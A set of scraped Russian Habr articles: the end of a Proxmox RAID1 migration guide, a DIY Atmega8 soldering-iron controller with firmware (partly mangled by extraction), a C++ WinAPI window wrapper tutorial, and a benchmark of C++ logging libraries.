/dev/sda2: Moved: 81.4%
/dev/sda2: Moved: 100.0%
root@kvm0:~# vgreduce pve /dev/sda2
Removed "/dev/sda2" from volume group "pve"
```
Добавляем второй раздел исходного диска в RAID1.
```
root@kvm0:~# sfdisk --change-id /dev/sda 2 fd
Done
root@kvm0:~# mdadm --add /dev/md1 /dev/sda2
mdadm: added /dev/sda2
```
Наливаем себе чашечку кофе и наблюдаем за синхронизацией массива через cat /proc/mdstat.
На этом миграция Proxmox 3.0 VM в software RAID1 завершена.
URLs:
[pve.proxmox.com/wiki/Software\_RAID](http://pve.proxmox.com/wiki/Software_RAID)
[pve.proxmox.com/wiki/Install\_Proxmox\_VE\_on\_Debian\_Wheezy](http://pve.proxmox.com/wiki/Install_Proxmox_VE_on_Debian_Wheezy)
[dominicpratt.de/proxmox-ve-3-0-software-raid](http://dominicpratt.de/proxmox-ve-3-0-software-raid/)
[www.howtoforge.com/proxmox-2-with-software-raid](http://www.howtoforge.com/proxmox-2-with-software-raid)
[www.howtoforge.com/how-to-set-up-software-raid1-on-a-running-system-incl-grub2-configuration-debian-squeeze](http://www.howtoforge.com/how-to-set-up-software-raid1-on-a-running-system-incl-grub2-configuration-debian-squeeze) | https://habr.com/ru/post/186818/ | null | ru | null |
# Регулятор для паяльника на Atmega8
Радиолюбительство — мое хобби, поэтому постоянного рабочего места нет. Обычно приходится каждый раз доставать все причендалы из шкафа, раскладывать на столе или на полу, затем каждый раз убирать. Розетка при этом в зоне работы обычно одна, сделать удлинтель все время лень, да его тоже нужно где-то хранить. А с одной розеткой напрягает проведя тест устройства питающегося от розетки, потом снова ждать минут 5 пока разогреется паяльник. Почитав интернет решил что мне нужна паяльная станция, но тратить 5-10 т.р. ради увлечения пока оказался не готов. Решение — самодельная пальная станция.
Кому интересно что получилось — прошу под кат.
Для начала за 250 рублей купил на али вот такой паяльник
Паяльник так себе но для дома пойдет, пришлось правда жало сразу заменить, благо сейчас их на выбор по 100р штука.
Блок питания купил готовый на 60Вт 24 вольта.
Схемы опять не будет, но на печатке подписал все номиналы.
[Плата в формате lay](http://burovik45.com/Iron/pajalo_1.lay6)
Цель была все собрать на одной плате и как можно компактнее. Стабилизатор питания и полевик установил лежа. Устройство питается от 5 вольт и как оказалось 7805 при этом греется до 70-80 градусов, поставил небольшой радиатор, полевик не греется совсем.
Плату делал ЛУТом, получилось почти идеально:
До протравки:
И после сборки:
Готовый регулятор в сборе выглядит на мой взгляд даже симпатично
Если разъем для программатора не устанавливать, то плата без единой перемычки.
Как видим и деталей минимум, даже резисторов по минимуму, только на общие выводы индикатора.
Индикатор красный с большими цифрами, управление энкодером (валкодером).
Первое включение:
От классического ПИД отказался, сделал некое его подобие, цель — минимальное время нагрева.
Если нажать вал энкодера и подержать 3 секунды можно настроить режим отображения, шаг настройки и корректировку температуры (термопары все разные).
Снял видео на телефон, качество не очень, но принцип работы понятен
Корпус, корпус… и тут родилась отличная мысль
А когда пора убирать в шкаф:
Исходники кода для желающих повторить.
[Скачать проект для атмел студии](https://yadi.sk/d/nP061hqwqhaCD)
**Код проекта**
```
#include
#include
#include
unsigned char display\_on, registr, butt1,butt2,butt3, butt3s, zamer,rezhim,mode,param,params, edit, redit, blink, wait2, wait3, wait5, wait6, wait7, rdisp, encoder\_r, encoder\_l, right, left, prewmode;
unsigned char ind[4],tempvar, tempmem;
float measureint, voltage\_ADC,tmp;
unsigned int stop\_h, stop\_m, pwm\_d, measure, pmeasure;
int pwm,tempch;
//unsigned int voltage\_ADC;
unsigned char param1[10];
unsigned char param1eeprom[10] EEMEM;
uint16\_t tempset,measure; uint16\_t tem EEMEM;
unsigned char pwm\_m[455] EEMEM;
ISR (TIMER0\_OVF\_vect)
{
if(display\_on==1)
{
PORTB |= (1 << PB6); PORTD |= (1 << PD7); PORTD |= (1 << PD3); PORTC |= (1 << PC2);
PORTB &=~ (1 << PB0); //1
PORTC &=~ (1 << PC1); //2
PORTD &=~ (1 << PD4); //3
PORTD &=~ (1 << PD2); //4
PORTD &=~ (1 << PD5); //5
PORTB &=~ (1 << PB7); //6
PORTD &=~ (1 << PD6); //7
}
if(display\_on==37)
{
if(ind[registr]==0 || ind[registr]==6 || ind[registr]==9) {display\_on=display\_on+20;} //6 сегментов
if(ind[registr]==2 || ind[registr]==3 || ind[registr]==5 || ind[registr]=='P') {display\_on=display\_on+25;} //5 сегментов
if(ind[registr]==4 || ind[registr]=='g') {display\_on=display\_on+35;} //4 сегмента
if(ind[registr]==7) {display\_on=display\_on+40;} // 3 сегмента
if(ind[registr]==1) {display\_on=display\_on+45;} //2 сегмента
if(ind[registr]=='-') {display\_on=display\_on+50;} //2 сегмента
if(registr==0) { PORTB &=~ (1 << PB6);}
if(registr==1) { PORTD &=~ (1 << PD3);}
if(registr==2) { PORTC &=~ (1 << PC2);}
if(registr==3) { PORTD &=~ (1 << PD7);}
if (ind[registr]==0) {PORTB |= (1 << PB0);PORTC |= (1 << PC1);PORTD |= (1 << PD4);PORTD |= (1 << PD2);PORTD |= (1 << PD5);PORTB |= (1 << PB7);}//0
if (ind[registr]==1) {PORTD |= (1 << PD2);PORTD |= (1 << PD5);}//1
if (ind[registr]==2) {PORTB |= (1 << PB0);PORTD |= (1 << PD4);PORTD |= (1 << PD2);PORTB |= (1 << PB7); PORTD |= (1 << PD6);}//2
if (ind[registr]==3) {PORTD |= (1 << PD4);PORTD |= (1 << PD2);PORTD |= (1 << PD5);PORTB |= (1 << PB7); PORTD |= (1 << PD6);}//3
if (ind[registr]==4) {PORTC |= (1 << PC1);PORTD |= (1 << PD2);PORTD |= (1 << PD5);PORTD |= (1 << PD6);}//4
if (ind[registr]==5) {PORTC |= (1 << PC1);PORTD |= (1 << PD4);PORTD |= (1 << PD5);PORTB |= (1 << PB7); PORTD |= (1 << PD6);}//5
if (ind[registr]==6) {PORTB |= (1 << PB0);PORTC |= (1 << PC1);PORTD |= (1 << PD4);PORTD |= (1 << PD5);PORTB |= (1 << PB7); PORTD |= (1 << PD6);}//6
if (ind[registr]==7) {PORTD |= (1 << PD4);PORTD |= (1 << PD2);PORTD |= (1 << PD5);}//7
if (ind[registr]==8) {PORTB |= (1 << PB0);PORTC |= (1 << PC1);PORTD |= (1 << PD4);PORTD |= (1 << PD2);PORTD |= (1 << PD5);PORTB |= (1 << PB7); PORTD |= (1 << PD6);}//8
if (ind[registr]==9) {PORTC |= (1 << PC1);PORTD |= (1 << PD4);PORTD |= (1 << PD2);PORTD |= (1 << PD5);PORTB |= (1 << PB7); PORTD |= (1 << PD6);}//9
if (ind[registr]=='P') {PORTB |= (1 << PB0);PORTC |= (1 << PC1);PORTD |= (1 << PD4);PORTD |= (1 << PD2);PORTD |= (1 << PD6);}//P
if (ind[registr]=='g') {PORTC |= (1 << PC1);PORTD |= (1 << PD4);PORTD |= (1 << PD2); PORTD |= (1 << PD6);}//g
if (ind[registr]=='-') {PORTD |= (1 << PD6);}//-
if (ind[registr]=='F') {PORTB |= (1 << PB0);PORTC |= (1 << PC1);PORTD |= (1 << PD4); PORTD |= (1 << PD6);}//F
if (ind[registr]=='n') {PORTB |= (1 << PB0);PORTD |= (1 << PD5); PORTD |= (1 << PD6);}//n
registr++;
if (registr>3){registr=0;}
}
display\_on++;
if (display\_on>100){display\_on=1;blink++; if(blink>250){blink=0;} ADCSR |= (1<250){wait2=0;}}
if(wait2==250){wait3++; if(wait3>250){wait3=251;}; butt3s++; if(butt3s>250){butt3s=251;}; wait5++;wait6++;}
if(wait3==3 && mode==1){mode=0;}
if(wait5==20){wait5=0;}
if(wait5==51){wait5=0;}
if(wait5==50){wait6++; if(wait6==250){wait6=0;};if(wait6==param1[3]){rezhim=0;}}
}
void init\_pwm (void)
{
TCCR1A|=(1<0) {ind[0]=measure/100;ind[1]=measure%100/10;ind[2]=measure%10;ind[3]='g';}
if(param1[0]==0)
{
if(tempset<100){ind[0]=-1;} else {ind[0]=tempset/100;}
if(tempset<10) {ind[1]=-1;} else {ind[1]=tempset%100/10;}
ind[2]=tempset%10;ind[3]='g';
}
}
if(mode==1)
{
if(blink<170)
{if(tempset<100){ind[0]=-1;} else {ind[0]=tempset/100;}
if(tempset<10) {ind[1]=-1;} else {ind[1]=tempset%100/10;}
ind[2]=tempset%10;ind[3]='g';
}
if(blink>170){ind[0]=-1;ind[1]=-1;ind[2]=-1;ind[3]=-1;}
}
}
if(tempmem==0)
{
if(wait5==10)//5=10 секунд
{
if(tempch==0 && tempset==measure && eeprom\_read\_byte(&pwm\_m[tempset])!=pwm)
{eeprom\_write\_byte(&pwm\_m[tempset],pwm); tempmem=1; ind[0]='g';ind[1]='g';ind[2]='g';}
if(tempset!=measure)
{
pwm\_d=tempset-measure;
pwm=pwm+pwm\_d;
}
wait5=0;tempch=0;
}
if(pmeasuremeasure && tempset>measure) //температура меньше установленно и наблюдается снижение
{
pwm\_d=tempset-measure; tempch++;
pwm=pwm+pwm\_d\*measure/100;
pmeasure=measure;
}
}
if(wait5==10 && tempmem==1)//5=10 секунд
{
if(tempsetmeasure){pwm=pwm+1;}
if(tempset==measure && eeprom\_read\_byte(&pwm\_m[tempset])>pwm && eeprom\_read\_byte(&pwm\_m[tempset])-pwm>5){eeprom\_write\_byte(&pwm\_m[tempset],pwm);}
if(tempset==measure && eeprom\_read\_byte(&pwm\_m[tempset])>pwm && eeprom\_read\_byte(&pwm\_m[tempset])-pwm>5){eeprom\_write\_byte(&pwm\_m[tempset],pwm);}
wait5=0;
if(tempset==measure && tempmem==1 && (int)(voltage\_ADC\*param1[2]/100)%zamer<50){tmp=tmp-10;}
if(tempset==measure && tempmem==1 && (int)(voltage\_ADC\*param1[2]/100)%zamer>50){tmp=tmp+10;}
}
if(pwm>250){pwm=250;} if(pwm<0){pwm=0;}
if(tempset-10>measure && tempmem==1){OCR1A=0;wait5=0;wait6=0;} else {OCR1A=27000+tmp-pwm\*108;}
voltage\_ADC=0;zamer=0;
}
zamer++;
if (rezhim!=1) {OCR1A=27000;}
if (measure>480) {OCR1A=27000;rezhim=0;OCR1A=27000;}
//ADCSR |= (1<500){tempset=100;}
param1[0] = eeprom\_read\_byte(¶m1eeprom[0]); if(param1[0]>1){param1[1]=1;}
param1[1] = eeprom\_read\_byte(¶m1eeprom[1]); if(param1[1]>10){param1[1]=5;}
param1[2] = eeprom\_read\_byte(¶m1eeprom[2]); if(param1[2]>250){param1[2]=75;}
param1[3] = eeprom\_read\_byte(¶m1eeprom[3]); if(param1[3]>250){param1[3]=10;}
pwm=eeprom\_read\_byte(&pwm\_m[tempset]); if (pwm<255){tempmem=1;}
while (1) //Вечный цикл
{
if(tempset<100){tempset=100;} if(tempset>450){tempset=450;}
//кнопка энкодера
if ((PINC&(1<200){butt1=201;}} else {butt1=0;}
if(butt1==200 && rezhim==0){butt3s=0; rezhim=1; butt1=201;}
if(butt1==200 && rezhim==1){butt3s=0; rezhim=0; butt1=201;}
if(butt1==200) {butt3s=0;}
if (butt1==201 && butt3s==2 && rezhim!=2){rezhim=2;butt3s=10;}
if (butt1==201 && butt3s==2 && rezhim==2){rezhim=0;butt3s=10;}
//Поворот энкодера
if ((PIND&(1<encoder\_l){butt2=encoder\_l+1;}} else {butt2=0;}
if ((PINC&(1<encoder\_l){butt3=encoder\_l+1;}} else {butt3=0;}
if(right==1 || left==1){right=0; left=0;}
if(encoder\_r==0)
{
if(butt2==encoder\_l+1 && butt3==encoder\_l) {encoder\_r=encoder\_l\*5;mode=1;wait3=0;right=1;}
if(butt3==encoder\_l+1 && butt2==encoder\_l) {encoder\_r=encoder\_l\*5;mode=1;wait3=0;left=1;}
}
if(encoder\_r==0){encoder\_r=1;} encoder\_r--;
if(mode!=prewmode){prewmode=mode; eeprom\_write\_word(&tem, tempset);}
if(rezhim==0)
{
if(blink<170){ind[0]=-1; ind[1]=-1; ind[2]=-1; ind[3]=-1;}
if(blink>170){ind[0]='-'; ind[1]='-'; ind[2]='-'; ind[3]='-';}
}
if(rezhim==1)
{
if(right==1) {tempset=tempset+param1[1];pwm=eeprom\_read\_byte(&pwm\_m[tempset]); if (pwm<255){tempmem=1;tmp=0;}else{tempmem=0;pwm=1;tmp=0;} }
if(left==1){tempset=tempset-param1[1];pwm=eeprom\_read\_byte(&pwm\_m[tempset]); if (pwm<255){tempmem=1;tmp=0;}else{tempmem=0;pwm=1;tmp=0;} }
}
if(rezhim==2)
{
if(butt1==200){if(edit==0){edit=1;tempvar=-1;} else {edit=0; eeprom\_write\_byte(¶m1eeprom[params], param1[params]);} }
if(edit==0)
{
ind[0]='P'; ind[1]=params; ind[2]=-1; ind[3]=-1;
if(right==1){params++;}; if(left==1){params--;}
if(params<0){params=0;}; if(params>3){params=3;}
}
if(edit==1)
{
if(blink==1 || tempvar!=param1[params])
{
if(param1[params]<100){ind[0]=-1;} else {ind[0]=param1[params]/100;}
if(param1[params]<10) {ind[1]=-1;} else {ind[1]=param1[params]%100/10;}
ind[2]=param1[params]%10;
}
if(blink>170){ind[0]=-1;ind[1]=-1;ind[2]=-1;ind[3]=-1;}
tempvar=param1[params];
if(right==1){param1[params]++;};if(left==1){param1[params]--;}
if(param1[params]<0){param1[params]=0;} if(param1[params]>250){param1[params]=1;}
if(params==0) {if(param1[params]<0){param1[params]=0;} if(param1[params]>1){param1[params]=1;}}
if(params==1) {if(param1[params]<1){param1[params]=1;} if(param1[params]>50){param1[params]=50;}}
if(params==2) {if(param1[params]<0){param1[params]=0;} if(param1[params]>250){param1[params]=250;}}
if(params==3) {if(param1[params]<0){param1[params]=0;} if(param1[params]>250){param1[params]=250;}}
}
}
} //loop
} //main
``` | https://habr.com/ru/post/392507/ | null | ru | null |
# Создание простой обертки над WinAPI для оконных приложений
Некоторое время назад я увлекался созданием оконной библиотеки под Windows на C++. И сегодня я расскажу как написать простую обертку над WinAPI для создания оконных приложений.
Как известно, приложение на голом API состоит из функции WinMain(аналог main для оконных приложений) функции WinProc для обработки сообщений.
Главная сложность при «оборачивании» функций API в классы состоит в том чтобы скрыть WinProc и сделать удобоваримую систему обработки сообщений.
Наша обертка будет состоять из двух классов: CApp и CWnd. Первый — это класс приложения, внутри него нахоится основной цикл сообщений. Второй — это класс окна.
Для начала напишем класс приложения. Он совсем простой:
> `//Класс нашего приложения
>
> class CApp
>
> {
>
> public:
>
> //Функция запуска нашего приложения
>
> //содержит в себе цикл сообщений
>
> void Run()
>
> {
>
> MSG msg;
>
> while(GetMessage(&msg,0,0,0)!=0)
>
> {
>
> TranslateMessage(&msg);
>
> DispatchMessage(&msg);
>
> }
>
> }
>
> };
>
>
>
> \* This source code was highlighted with Source Code Highlighter.`
Он содержит единственную функцию Run, внутри которой находится цикл сообещний.
В цикле программа получает сообещения и перенаправляет их в оконную функцию(WinProc).
Далее мы создадим класс CWnd:
> `//Класс простого окна
>
> class CWnd
>
> {
>
> //Тип указателя на функцию
>
> typedef LRESULT (CWnd::\*FuncPointer)(LPARAM,WPARAM);
>
>
>
> //Структура указателя на функцию-обработчик
>
> struct POINTER
>
> {
>
> CWnd\* wnd;//Указатель на класс, которому принадлежит обработчик
>
> FuncPointer func;
>
> };
>
>
>
> protected:
>
> HWND \_hwnd;//Хендл нашего окна
>
> map \_msgmap;//Карта сообщений
>
>
>
> \* This source code was highlighted with Source Code Highlighter.`
Он содержит хендл(HWND) окна и карту(map) сообщений.
Также объявляем тип указтеля на функцию-обработчик(FuncPointer) и структуру POINTER. Эта структура содержит указатель на функцию и указатель на объект класса, которому она принадлежит.
Затем добавим функцию создания окна:
> `//Функция создания окна
>
> bool Create(
>
> HWND parent,//Родительское окно, если 0 - то главное окно
>
> LPCWSTR text,//Заголовок окна
>
> DWORD exstyle,DWORD style,//Стили окна
>
> int x,int y,int w,int h,//Размеры и положение
>
> UINT id//Идентификатор окна
>
> )
>
> {
>
> //Регистрируем класс окна
>
> WNDCLASSEX wndc;
>
> wndc.lpszClassName=L"MyWnd";
>
> wndc.cbSize=sizeof(WNDCLASSEX);
>
> wndc.lpfnWndProc=WNDPROC(\_WndProc);//Оконная процедура
>
> wndc.cbClsExtra=0;
>
> wndc.cbWndExtra=0;
>
> wndc.hbrBackground=HBRUSH(COLOR\_WINDOW);//Цвет фона окна
>
> wndc.hInstance=GetModuleHandle(0);//Хендл приложения
>
> wndc.hCursor=LoadCursor(0,IDC\_ARROW);//Загружаем старндартный курсор
>
> wndc.style=CS\_HREDRAW|CS\_VREDRAW;
>
> wndc.hIcon=0;
>
> wndc.hIconSm=0;
>
> wndc.lpszMenuName=0;
>
> RegisterClassEx(&wndc);
>
>
>
> //Создаем само окно
>
> \_hwnd=CreateWindowEx(exstyle,L"MyWnd",text,
>
> style|WS\_CLIPCHILDREN,//Стиль WS\_CLIPCHILDREN нужен для того, чтобы дочерние контролы не мигали при перерисовке
>
> x,y,w,h,parent,HMENU(id),
>
> GetModuleHandle(0),
>
> this//Передаем в оконную функцию указатель на класс нашего окна
>
> );
>
>
>
> if(!\_hwnd) return false;
>
> return true;
>
> }
>
>
>
> \* This source code was highlighted with Source Code Highlighter.`
В ней мы регистрируем класс окна и создаем само окно с помощью функции CreateWindowEx.
Так же мы передаем в CreateWindowEx указатель на экземпляр CWnd, чтобы в дальнейшем можно было связать APIшный хендл(HWND) и наш экземпляр CWnd.
Теперь передем к главному.
Добавляем оконную функцию в наш класс. Она должна быть статической.
> `//Оконная функция
>
> //функция в которую поступают сообщения для обработки
>
> static LRESULT CALLBACK \_WndProc(HWND hwnd,UINT message,WPARAM wparam,LPARAM lparam)
>
> {
>
> CWnd \*wnd=0;
>
> //Сообщения WM\_NCCREATE приходит до WM\_CREATE
>
> //т.е при создании окна
>
> if(message==WM\_NCCREATE)
>
> {
>
> //Получаем указатель на экземпляр нашего окна, который мы передали в функцию CreateWindowEx
>
> wnd=(CWnd\*)LPCREATESTRUCT(lparam)->lpCreateParams;
>
> //И сохраняем в поле GWL\_USERDATA
>
> SetWindowLong(hwnd,GWL\_USERDATA,LONG(LPCREATESTRUCT(lparam)->lpCreateParams));
>
> wnd->\_hwnd=hwnd;
>
> }
>
> //Теперь получаем указатель на наш экземлпяр окна, но уже из поля GWL\_USERDATA
>
> wnd=(CWnd\*)GetWindowLong(hwnd,GWL\_USERDATA);
>
> if(wnd)
>
> {
>
> //Ищем сообщение в карте
>
> map::iterator it;
>
> it=wnd->\_msgmap.find(message);
>
>
>
> //Если сообщение не найдено, то обрабатываем его по умолчанию
>
> if(it==wnd->\_msgmap.end()) return DefWindowProc(hwnd,message,wparam,lparam);
>
> else
>
> {
>
> POINTER msg=it->second;
>
> //Вызываем функцию обработчик
>
> LRESULT result=(msg.wnd->\*msg.func)(lparam,wparam);
>
> if(result) return result;
>
> }
>
> }
>
> return DefWindowProc(hwnd,message,wparam,lparam);
>
> }
>
> };
>
>
>
> \* This source code was highlighted with Source Code Highlighter.`
В ней происходит следующее. Сначала мы отлавливаем сообщение WM\_NCCREATE. В нем мы получаем переданный в CreateWindowEx указатель и сохраняем его в поле GWL\_USERDATA окна. Теперь мы в любой момент можем получить указатель на экземпляр CWnd имея на руках только HWND.
Далее ищем в карте текущее сообщение, и если оно есть вызываем по указателю обработчик из этой карты.
Теперь напишем функцию которая будет добавлять сообщение в карту:
> `//Функкция добавления сообщения в карту
>
> //Приводит указатель на функцию-член класса T к указателю на функцию-член CWnd
>
> template
>
> bool AddMessage(UINT message,CWnd\* wnd,LRESULT (T::\*funcpointer)(LPARAM,WPARAM))
>
> {
>
> if(!wnd || !funcpointer) return false;
>
>
>
> POINTER msg;
>
> msg.wnd=wnd;
>
> msg.func=reinterpret\_cast(funcpointer);
>
>
>
> \_msgmap.insert(pair(message,msg));
>
>
>
> return true;
>
> }
>
>
>
> \* This source code was highlighted with Source Code Highlighter.`
Это шаблонная функция и она делает следующее. Преобразовывает указатель на функцию-член любого класса-наследника CWnd, в указатель на функцию-член CWnd. Это нужно для того чтобы привести все указатели к одному типу.
Вот и все, наша обертка готова.
Пример использования:
> `//Наследуем класс нового окна от CWnd
>
> class CMyWnd: public CWnd
>
> {
>
> public:
>
> CMyWnd()
>
> {
>
> //Добавляем обработчики сообщений WM\_CREATE и WM\_DESTROY
>
> AddMessage(WM\_CREATE,this,&CMyWnd::OnCreate);
>
> AddMessage(WM\_DESTROY,this,&CMyWnd::OnDestroy);
>
> }
>
> LRESULT OnCreate(LPARAM lparam,WPARAM wparam)
>
> {
>
> MessageBox(0,\_T("HelloHabr!"),\_T(""),0);
>
> return 0;
>
> }
>
> LRESULT OnDestroy(LPARAM lparam,WPARAM wparam)
>
> {
>
> PostQuitMessage(0);
>
> return 0;
>
> }
>
> };
>
>
>
> int APIENTRY WinMain(HINSTANCE hinst,HINSTANCE prev,LPSTR cmd,int showcmd)
>
> {
>
> //Создаем наше окно
>
> CMyWnd \*wnd=new CMyWnd;
>
> wnd->Create(0,L"HelloHabr!",0,WS\_OVERLAPPEDWINDOW|WS\_VISIBLE,300,300,500,400,0);
>
>
>
> //Запускаем приложение
>
> CApp \*app=new CApp;
>
> app->Run();
>
> return 0;
>
> }
>
>
>
> \* This source code was highlighted with Source Code Highlighter.`
Чтобы создать простое окно, наследуемся от CWnd, добавлем обработчикидля сообщний, добавляем их в карту и приложение готово.
 | https://habr.com/ru/post/123648/ | null | ru | null |
# ALog: плюс один логгер для C++ приложений
Система логирования ALog первоначально разрабатывалась для использования в серверных приложениях. Первая реализация ALog была выполнена в 2013 году, на тот момент я и подумать не мог, что спустя семь лет буду писать про нее статью на Хабр. Но, видимо, на все воля случая… Сейчас уже и не вспомню, что именно искал на просторах интернета, когда мне на глаза попалась статья [Сравнение библиотек логирования](https://habr.com/ru/post/313686). Я решил бегло просмотреть её в ознакомительных целях. По мере знакомства с материалом в голове возникла мысль: "А где же в этом *'табеле о рангах'* находится мой логгер?". Чтобы это выяснить был создан небольшой проект [LoggerTest](https://github.com/hkarel/LoggerTest) для тестирования систем логирования.
### Асинхронный логгер
Прежде чем переходить к тестам, нужно сказать пару слов про [ALog](https://github.com/hkarel/SharedTools/tree/master/logger)1. Это асинхронная система логирования, предназначенная для использования в высоконагруженных многопоточных приложениях. Как правило, подобные приложения работают на серверных станциях, что определяет специфику самого логгера. По большому счету особенностей две:
1. У логгера нет ограничения по памяти (обычно серверы не испытывают недостатка в ОЗУ)2
2. Стоимость вызова логгера в рабочих потоках должна быть минимальной. Данная характеристика важна для любой программы, но для серверной - особенно, где стоимость процессорных ресурсов может быть достаточно высока.
[**1**] ALog не является самостоятельной библиотекой, это всего лишь несколько модулей в составе библиотеки общего назначения.
[**2**] Использование ALog в ситуациях отличных от тестовых не приводит к существенному потреблению оперативной памяти, что позволяет использовать логгер на ARM-системах с небольшим объемом ОЗУ.
### Участники тестирования
Первоначально для сравнения была выбран только Spdlog. Это было сделано по нескольким причинам:
1. В исходной статье Spdlog показал неплохие результаты - фактически второе место;
2. Логгер асинхронный (синхронные логгеры меня не интересовали в принципе, по причине их низкой производительности в многопоточных приложениях);
3. Под впечатлением от статьи, P7 казался просто недосягаемым, поэтому вначале я его даже не рассматривал в качестве участника тестирования.
Первые сравнения были сильно не в пользу ALog. Пришлось заняться оптимизацией, благо было понимание какие механизмы могут тормозить работу логгера. В итоге отставание стало не столь катастрофическим. Воодушевленный результатом, я написал автору статьи [Сравнение библиотек логирования](https://habr.com/ru/post/313686) о своем логгере, и приложил первые тесты. Но реакции на мое сообщение не последовало. Выдержав паузу в пару месяцев, я решил самостоятельно написать о проделанной работе.
Для тестов было отобрано три логгера::
1. [G3log](https://github.com/KjellKod/g3log) (версия 1.3.3, gitrev: f1eff42b)
2. [P7](http://baical.net/p7.html) (версия 5.5)
3. [Spdlog](https://github.com/gabime/spdlog) (версия 2.x, gitrev: f803e1c7)
G3log был добавлен просто для статистики. У этого логгера не очень высокая скорость сохранения данных на диск, что и было подтверждено тестами. Последним в сравнение был включен P7. Хочу сказать спасибо разработчикам P7, за помощь в написании тестового примера.
#### Формат тестовых сообщений
ALog имеет фиксированный формат префикса лог-строки. Еще на самых первых этапах разработки ALog было выявлено, что создание префиксной строки является достаточно ресурсоёмкой операцией. Использование фиксированного формата в этой ситуации дает больше возможностей для оптимизации кода.
У Spdlog и G3log формат префикса можно менять, что позволяет сделать лог-сообщения похожими на сообщения ALog, и таким образом обеспечить примерно одинаковый объем записываемой информации.
P7 так же, как и ALog, имеет фиксированный формат префикса при сохранении лог-сообщений в текстовый файл. Но для тестирования данный факт не играет особой роли. P7 в первую очередь ориентирован на запись сообщений в бинарном виде, по этой причине в тестах использовался только режим бинарной записи.
Внешний вид префиксов для лог-сообщений:
* ALog ----------------------------------------------------- `15.10.2020 19:39:23.981457 DEBUG2 LWP18876 [alog_test.cpp:35 LoggerTest]`
* Spdlog ---------------------------------------------------`[2020-10-15 20:22:55.165] [trace] LWP19519 [spdlog_test.cpp:76 LoggerTest]`
* G3log -----------------------------------------------------`2020/10/15 20:24:48 836329 DEBUG [g3log_test.cpp->thread_func:36]`
### Тестовый стенд
* OS: Ubuntu 20.04
* Compiler: GCC 8.4.0 C++14
* CPU: Intel Core i7 2700K, 4 ядра, 8 потоков (4.5GHz, разгон)
* RAM: 32Gb (DDR3-1600, XMP 8-8-8-24-2N)
* SSD: Samsung 860 Pro 512Gb3
* Количество итераций в тесте: 5
* Количество записываемых строк: 5 000 000
[**3**] Любопытный момент: скорость сохранения логов на HDD диск (TOSHIBA HDWD120) оказалась выше чем на SSD.
### Тестирование
В тестах проводится замер четырех характеристик. Две из них являются прямыми, то есть непосредственно определяют эффективность работы логгера. Оставшиеся две - косвенные. По сути, косвенные характеристики обратно пропорциональны прямым. На мой взгляд, они интересны с оценочной точки зрения, но как таковые не отражают эффективность системы логирования.
***Прямые характеристики:***
* *Logging time* - усредненное время, за которое все тестовые сообщения будут добавлены в систему логирования;
* *Flush time* - усредненное время, за которое все тестовые сообщения будут сохранены на диск (это время отсчитывается от начала теста, поэтому включает в себя значение *Logging time*).
***Косвенные характеристики:***
* *Memory usage (max/average)* - пиковое и среднее потребление памяти логгером в тесте (берутся худшие показатели из выполненных итераций);
* *CPU usage (max/average)* - пиковое и среднее потребление ресурсов процессора. За 100% принимается полная загрузка одного ядра процессора (берутся худшие показатели из выполненных итераций).
**Дополнительные условия:**
1. В P7 размер пула был установлен в 1 Гб (/P7.Pool=1048576). Для P7 это абсолютно сверх меры, но все участники на старте должны иметь более-менее одинаковые условия;
2. Для Spdlog размер очереди установлен в 3 млн. сообщений. Уменьшение её размера будет сказываться на показателе *Logging time*. Логгер работает в режиме `async_overflow_policy::block`, что запрещает ему отбрасывать "старые" сообщения если очередь переполнена.
**Тест 4 потока (режим сборки: release, ключ компилятора -O2)**
| | **ALog** | **G3log** | **P7** | **Spdlog** |
| --- | --- | --- | --- | --- |
| Logging time (sec) | 1.325060 | 2.91048 | 4.27096 | 2.489934 |
| Flush time (sec) | 3.051857 | 23.1829 | 4.66385 | 2.489951 |
| Logging per/sec | 3788071 | 1720496 | 1170852 | 2008105 |
| Flush per/sec | 1638855 | 215697 | 1072226 | 2008092 |
| Memory usage (max, MB) | 1468 | 2343 | 86 | 1170 |
| Memory usage (avg, MB) | 1302 | 2310 | 85 | 1095 |
| CPU usage (max, %) | 106 | 87 | 57 | 100 |
| CPU usage (avg, %) | 39 | 18 | 37 | 67 |
По параметру *Flush time* ALog так и не смог опередить Spdlog. Поэтому можно сказать, что по *Flush time* Spdlog - лидер. Правда тут есть одна оговорка: это преимущество сохраняется до тех пор, пока размер очереди больше либо равен 3 \* 10^6. "Ложка дегтя" заключается в том, что память под очередь сообщений выделяется в момент создания Spdlog, и остается занятой на всем протяжении работы логгера. В данном тесте Spdlog использовал 1170 Мб. Остальные участники тестирования выделяют память по мере повышения нагрузки, и освобождают по мере понижения.
**Тест 4 потока (режим сборки: debug, ключ компилятора -O0)**
| | **ALog** | **G3log** | **P7** | **Spdlog** |
| --- | --- | --- | --- | --- |
| Logging time (sec) | 3.080949 | 5.59882 | 4.69356 | 7.591786 |
| Flush time (sec) | 4.717017 | 38.5406 | 5.05907 | 7.591814 |
| Logging per/sec | 1625193 | 893396 | 1065342 | 658611 |
| Flush per/sec | 1060223 | 129736 | 988428 | 658609 |
| Memory usage (max, MB) | 1241 | 1840 | 57 | 1170 |
| Memory usage (avg, MB) | 1071 | 1811 | 56 | 1130 |
| CPU usage (max, %) | 106 | 100 | 58 | 118 |
| CPU usage (avg, %) | 44 | 21 | 36 | 73 |
Тест в debug-режиме интересен с точки зрения падения производительности. Очевидно, что проседание есть, но оно не такое катастрофическое (десятки раз), как об этом говорится в [Сравнение библиотек логирования](https://habr.com/ru/post/313686). Возможно, причина в том, что тесты проводились на Linux.
**Тест 1 поток (режим сборки: release, ключ компилятора -O2)**
| | **ALog** | **G3log** | **P7** | **Spdlog** |
| --- | --- | --- | --- | --- |
| Logging time (sec) | 3.936475 | 8.43987 | 1.93741 | 3.090048 |
| Flush time (sec) | 4.029064 | 22.5557 | 2.32743 | 3.090063 |
| Logging per/sec | 1270377 | 596768 | 2580784 | 1618186 |
| Flush per/sec | 1241177 | 221687 | 2148340 | 1618178 |
| Memory usage (max, MB) | 84 | 1353 | 53 | 392 |
| Memory usage (avg, MB) | 55 | 1350 | 52 | 383 |
| CPU usage (max, %) | 50 | 64 | 21 | 64 |
| CPU usage (avg, %) | 25 | 21 | 11 | 44 |
В этом тесте P7 восстановил свой статус-кво. Запись в систему логирования 5 млн. сообщений в один поток за ~1.9 секунды выглядит просто недосягаемо! Скорость сохранения данных на диск тоже весьма впечатляет.
